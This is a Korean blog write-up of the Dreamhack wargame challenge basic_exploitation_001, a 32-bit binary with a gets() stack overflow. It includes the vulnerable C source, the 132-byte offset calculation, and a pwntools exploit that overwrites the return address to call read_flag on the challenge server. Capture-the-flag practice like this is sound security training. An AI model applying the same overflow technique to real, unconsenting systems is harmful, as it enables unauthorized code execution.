이게 왜 001이지?ㅋㅋ
000을 푼 사람이라면 쉡게 풀 수 있다....
문제
환경 정보에서 32비트(i386) 리틀 엔디언 아키텍처에서 실행된다는 것을 확인한다.
32bit 환경이므로 스택 프레임 구조를 buf(n) | sfp(4) | ret(4) 이렇게 유추할 수 있다.
그리고 000과 다르게 'NX enabled'이기 때문에, 쉘 코드로 풀 수는 없다.
문제 파일
gets()는 스택 버퍼 오버플로우 취약점이 존재하는 위험한 함수다.
코드 안에 read_flag() 함수가 있기 때문에 오버플로우로 ret을 해당 함수 주소로 오염시키면 될 것 같다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() {
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
gets(buf);
return 0;
}
풀이
gdb로 분석한다.
스택 프레임 구조가 buf(n) | sfp(4) | ret(4) 으로 구성되고, ebp-0x80에서 0x80이 버퍼의 크기이므로
retutn address까지의 거리는 128(0x80) + 4 = 132바이트다.
위 내용으로 스택 프레임의 구조를 아래와 같이 표현할 수 있다.
따라서 페이로드는 다음과 같이 구성하면 된다.
read_flag 함수의 주소를 확인한다. → 0x080485b9
exploit 코드를 작성한다.
from pwn import *
p = remote('host3.dreamhack.games',19353)
payload = b"\x90" * 132
payload += p32(0x080485b9) #주소를 리틀 엔디안 방식으로 패킹
p.sendline(payload)
p.interactive()
exploit 파일을 실행시키면 read_flag 함수가 실행되어, flag가 출력된다.
'시스템 해킹 > 드림핵' 카테고리의 다른 글
[드림핵] basic_exploitation_000 풀이 (0) | 2024.08.27 |
---|---|
[드림핵] shell_basic 문제 풀이 (0) | 2024.08.21 |